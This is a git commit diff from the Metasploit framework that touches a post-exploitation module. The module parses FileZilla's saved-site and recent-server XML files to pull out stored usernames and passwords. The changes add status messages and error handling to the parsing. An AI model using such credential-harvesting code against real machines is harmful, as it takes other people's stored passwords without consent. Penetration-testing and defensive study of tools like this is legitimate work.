stack trace fix and whitespace clean up

git-svn-id: file:///home/svn/framework3/trunk@13946 4d416f70-5f16-0410-b530-b9f4589650da
unstable
David Rude 2011-10-16 04:39:28 +00:00
parent 028fd4203b
commit be642faa81
1 changed files with 7 additions and 4 deletions

View File

@ -179,6 +179,7 @@ class Metasploit3 < Msf::Post
sitedata << sites.read sitedata << sites.read
end end
sites.close sites.close
print_status("Parsing sitemanager.xml")
creds = [parse_accounts(sitedata)] creds = [parse_accounts(sitedata)]
else else
print_status("No saved connections where found") print_status("No saved connections where found")
@ -192,6 +193,7 @@ class Metasploit3 < Msf::Post
recentdata << recents.read recentdata << recents.read
end end
recents.close recents.close
print_status("Parsing recentservers.xml")
creds << parse_accounts(recentdata) creds << parse_accounts(recentdata)
else else
print_status("No recent connections where found.") print_status("No recent connections where found.")
@ -209,7 +211,9 @@ class Metasploit3 < Msf::Post
def parse_accounts(data) def parse_accounts(data)
creds = [] creds = []
doc = REXML::Document.new(data).root
doc = REXML::Document.new(data).root rescue nil
return [] if doc.nil?
doc.elements.to_a("//Server").each do |sub| doc.elements.to_a("//Server").each do |sub|
account = {} account = {}
@ -222,7 +226,6 @@ class Metasploit3 < Msf::Post
when /1|4/ when /1|4/
account['user'] = sub.elements['User'].text rescue "<unknown>" account['user'] = sub.elements['User'].text rescue "<unknown>"
account['password'] = sub.elements['Pass'].text rescue "<unknown>" account['password'] = sub.elements['Pass'].text rescue "<unknown>"
when /2|3/ when /2|3/
account['user'] = sub.elements['User'].text rescue "<unknown>" account['user'] = sub.elements['User'].text rescue "<unknown>"
account['password'] = "<blank>" account['password'] = "<blank>"